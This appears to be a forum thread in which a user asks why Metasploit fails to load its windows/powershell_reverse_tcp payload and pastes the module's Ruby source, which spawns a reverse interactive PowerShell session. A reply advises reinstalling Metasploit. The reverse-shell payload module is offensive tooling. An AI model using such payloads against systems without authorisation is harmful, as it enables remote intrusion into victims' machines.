Jump to content

Payload windows/powershell_reverse_tcp Error


matiullahkhalliqie

Recommended Posts

Hello, When I open Metaspoilt it gives me an error

WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/payloads/singles/windows/powershell_reverse_tcp.rb: NameError uninitialized constant Msf::Handler::ReverseTcp
[-]     /usr/share/metasploit-framework/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb: NameError uninitialized constant Msf::Handler::ReverseTcp


my powershell_reverse_tcp.rb has following configuration
 

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/payload/windows/exec'
require 'msf/core/payload/windows/powershell'
require 'msf/base/sessions/powershell'
require 'msf/core/handler/reverse_tcp_ssl'

###
#
# Extends the Exec payload to add a new user.
#
###
module Metasploit3

  CachedSize = 1711

  include Msf::Payload::Windows::Exec
  include Msf::Payload::Windows::Powershell
  include Rex::Powershell::Command

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Windows Interactive Powershell Session, Reverse TCP',
      'Description'   => 'Listen for a connection and spawn an interactive powershell session',
      'Author'        =>
        [
          'Ben Turner', # benpturner
          'Dave Hardy' # davehardy20
        ],
      'References'    =>
        [
          ['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
        ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseTcpSsl,
      'Session'       => Msf::Sessions::PowerShell,
      ))

    # Register command execution options
    register_options(
      [
        OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
      ], self.class)
    # Hide the CMD option...this is kinda ugly
    deregister_options('CMD')
  end

  #
  # Override the exec command string
  #
  def command_string
    generate_powershell_code("Reverse")
  end
end

 

Link to comment
Share on other sites

module Metasploit3

  How old is your version of metasploit??

try reinstalling it from the github site and run gem install bundle

you have delete your existing metasploit directory or rename it first.
 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...